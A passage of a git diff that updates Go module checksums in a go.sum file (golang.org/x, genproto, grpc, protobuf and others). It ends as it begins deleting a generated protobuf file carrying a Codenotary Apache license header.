h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -893,6 +1283,7 @@ golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -908,13 +1299,22 @@ golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220610221304-9f5ed59c137d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220624220833-87e55d714810/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.2.0/go.mod h1:TVmDHMZPmdnySmBfhjOoOdhjzdE1h4u1VwSiw2l1Nuc= +golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ= golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= @@ -926,6 +1326,10 @@ golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.5/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.3.8/go.mod h1:E6s5w1FMmriuDzIBO73fBruAKo1PCIq6d2Q6DHfQ8WQ= +golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.5.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.6.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.7.0 h1:4BRB4x83lYWy72KwLD/qYDuTu7q9PjSagHvijDw7cLo= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= @@ -933,6 +1337,8 @@ golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxb golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20201208040808-7e3f01d25324/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20220922220347-f3bd1da661af/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.1.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -994,8 +1400,9 @@ golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.12 h1:VveCTK38A2rkS8ZqFY25HIDFscX5X9OoEhJd3quQmXU= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM= +golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k= golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= @@ -1004,6 +1411,8 @@ golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8T golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20220411194840-2f41105eb62f/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20220517211312-f3a8303e98df/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= +golang.org/x/xerrors v0.0.0-20220609144429-65e65417b02f/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= +golang.org/x/xerrors v0.0.0-20220907171357-04be3eba64a2/go.mod h1:K8+ghG5WaK9qNqU5K3HdILfMLy1f3aNYFI/wnl100a8= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= @@ -1041,8 +1450,24 @@ google.golang.org/api v0.70.0/go.mod h1:Bs4ZM2HGifEvXwd50TtW70ovgJffJYw2oRCOFU/S google.golang.org/api v0.71.0/go.mod h1:4PyU6e6JogV1f9eA4voyrTY2batOLdgZ5qZ5HOCc4j8= google.golang.org/api v0.74.0/go.mod h1:ZpfMZOVRMywNyvJFeqL9HRWBgAuRfSjJFpe9QtRRyDs= google.golang.org/api v0.75.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= +google.golang.org/api v0.77.0/go.mod h1:pU9QmyHLnzlpar1Mjt4IbapUCy8J+6HD6GeELN69ljA= google.golang.org/api v0.78.0/go.mod h1:1Sg78yoMLOhlQTeF+ARBoytAcH1NNyyl390YMy6rKmw= +google.golang.org/api v0.80.0/go.mod h1:xY3nI94gbvBrE0J6NHXhxOmW97HG7Khjkku6AFB3Hyg= google.golang.org/api v0.81.0/go.mod h1:FA6Mb/bZxj706H2j+j2d6mHEEaHBmbbWnkfvmorOCko= +google.golang.org/api v0.84.0/go.mod h1:NTsGnUFJMYROtiquksZHBWtHfeMC7iYthki7Eq3pa8o= +google.golang.org/api v0.85.0/go.mod h1:AqZf8Ep9uZ2pyTvgL+x0D3Zt0eoT9b5E8fmzfu6FO2g= +google.golang.org/api v0.90.0/go.mod h1:+Sem1dnrKlrXMR/X0bPnMWyluQe4RsNoYfmNLhOIkzw= +google.golang.org/api v0.93.0/go.mod h1:+Sem1dnrKlrXMR/X0bPnMWyluQe4RsNoYfmNLhOIkzw= +google.golang.org/api v0.95.0/go.mod h1:eADj+UBuxkh5zlrSntJghuNeg8HwQ1w5lTKkuqaETEI= +google.golang.org/api v0.96.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= +google.golang.org/api v0.97.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= +google.golang.org/api v0.98.0/go.mod h1:w7wJQLTM+wvQpNf5JyEcBoxK0RH7EDrh/L4qfsuJ13s= +google.golang.org/api v0.99.0/go.mod h1:1YOf74vkVndF7pG6hIHuINsM7eWwpVTAfNMNiL91A08= +google.golang.org/api v0.100.0/go.mod h1:ZE3Z2+ZOr87Rx7dqFsdRQkRBk36kDtp/h+QpHbB7a70= +google.golang.org/api v0.102.0/go.mod h1:3VFl6/fzoA+qNuS1N1/VfXY4LjoXN/wzeIp7TweWwGo= +google.golang.org/api v0.103.0/go.mod h1:hGtW6nK1AC+d9si/UBhw8Xli+QMOf6xyNAyJw4qU9w0= +google.golang.org/api v0.108.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/O9MY= +google.golang.org/api v0.110.0/go.mod h1:7FC4Vvx1Mooxh8C5HWjzZHcavuS2f6pmJpZx60ca7iI= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= @@ -1092,6 +1517,7 @@ google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6D google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210329143202-679c6ae281ee/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= @@ -1122,14 +1548,54 @@ google.golang.org/genproto v0.0.0-20220222213610-43724f9ea8cf/go.mod h1:kGP+zUP2 google.golang.org/genproto v0.0.0-20220304144024-325a89244dc8/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= google.golang.org/genproto v0.0.0-20220310185008-1973136f34c6/go.mod h1:kGP+zUP2Ddo0ayMi4YuN7C3WZyJvGLZRh8Z5wnAqvEI= google.golang.org/genproto v0.0.0-20220324131243-acbaeb5b85eb/go.mod h1:hAL49I2IFola2sVEjAn7MEwsja0xp51I0tlGAf9hz4E= +google.golang.org/genproto v0.0.0-20220329172620-7be39ac1afc7/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220407144326-9054f6ed7bac/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220413183235-5e96e2839df9/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= +google.golang.org/genproto v0.0.0-20220502173005-c8bf987b8c21/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd h1:e0TwkXOdbnH/1x5rc5MZ/VYyiZ4v+RdVfrGMqEwT68I= +google.golang.org/genproto v0.0.0-20220518221133-4f43b3371335/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20220523171625-347a074981d8/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= +google.golang.org/genproto v0.0.0-20220608133413-ed9918b62aac/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220616135557-88e70c0c3a90/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220617124728-180714bec0ad/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220624142145-8cd45d7dbd1f/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220628213854-d9e0b6570c03/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= +google.golang.org/genproto v0.0.0-20220722212130-b98a9ff5e252/go.mod h1:GkXuJDJ6aQ7lnJcRF+SJVgFdQhypqgl3LB1C9vabdRE= +google.golang.org/genproto v0.0.0-20220801145646-83ce21fca29f/go.mod h1:iHe1svFLAZg9VWz891+QbRMwUv9O/1Ww+/mngYeThbc= +google.golang.org/genproto v0.0.0-20220815135757-37a418bb8959/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220817144833-d7fd3f11b9b1/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220822174746-9e6da59bd2fc/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220829144015-23454907ede3/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220829175752-36a9c930ecbf/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= +google.golang.org/genproto v0.0.0-20220913154956-18f8339a66a5/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220914142337-ca0e39ece12f/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220915135415-7fd63a7952de/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220916172020-2692e8806bfa/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220919141832-68c03719ef51/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= +google.golang.org/genproto v0.0.0-20220920201722-2b89144ce006/go.mod h1:ht8XFiar2npT/g4vkk7O0WYS1sHOHbdujxbEp7CJWbw= +google.golang.org/genproto v0.0.0-20220926165614-551eb538f295/go.mod h1:woMGP53BroOrRY3xTxlbr8Y3eB/nzAvvFM83q7kG2OI= +google.golang.org/genproto v0.0.0-20220926220553-6981cbe3cfce/go.mod h1:woMGP53BroOrRY3xTxlbr8Y3eB/nzAvvFM83q7kG2OI= +google.golang.org/genproto v0.0.0-20221010155953-15ba04fc1c0e/go.mod h1:3526vdqwhZAwq4wsRUaVG555sVgsNmIjRtO7t/JH29U= +google.golang.org/genproto v0.0.0-20221014173430-6e2ab493f96b/go.mod h1:1vXfmgAz9N9Jx0QA82PqRVauvCz1SGSz739p0f183jM= +google.golang.org/genproto v0.0.0-20221014213838-99cd37c6964a/go.mod h1:1vXfmgAz9N9Jx0QA82PqRVauvCz1SGSz739p0f183jM= +google.golang.org/genproto v0.0.0-20221024153911-1573dae28c9c/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= +google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= +google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo= +google.golang.org/genproto v0.0.0-20221114212237-e4508ebdbee1/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221117204609-8f9c96812029/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221118155620-16455021b5e6/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221201164419-0e50fba7f41c/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221202195650-67e5cbc046fd/go.mod h1:cTsE614GARnxrLsqKREzmNYJACSWWpAWdNMwnD7c2BE= +google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230124163310-31e0e69b6fc2/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230209215440-0dfe4f8abfcc/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230223222841-637eb2293923 h1:znp6mq/drrY+6khTAlJUDNFFcDGV2ENLYKpMq8SyCds= +google.golang.org/genproto v0.0.0-20230223222841-637eb2293923/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1157,11 +1623,19 @@ google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnD google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.46.2 h1:u+MLGgVf7vRdjEYZ8wDFhAVNmhkbJ5hmrA1LMWK1CAQ= google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.47.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= +google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc= +google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= @@ -1177,8 +1651,9 @@ google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlba google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0 h1:w43yiav+6bVFTBQFZX0r7ipe9JQ1QsbMgHwbBziscLw= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= diff --git a/pkg/api/authorizationschema/authorizationschema.pb.go b/pkg/api/authorizationschema/authorizationschema.pb.go deleted file mode 100644 index 8a5f4eca07..0000000000 --- a/pkg/api/authorizationschema/authorizationschema.pb.go +++ /dev/null @@ -1,302 +0,0 @@ -// -//Copyright 2023 Codenotary Inc. All rights reserved. -// -//Licensed under the Apache License, Version 2.0 (the "License"); -//you may not use this file except in compliance with the License. -//You may obtain a copy of the License at -// -//http://www.apache.org/licenses/LICENSE-2.0 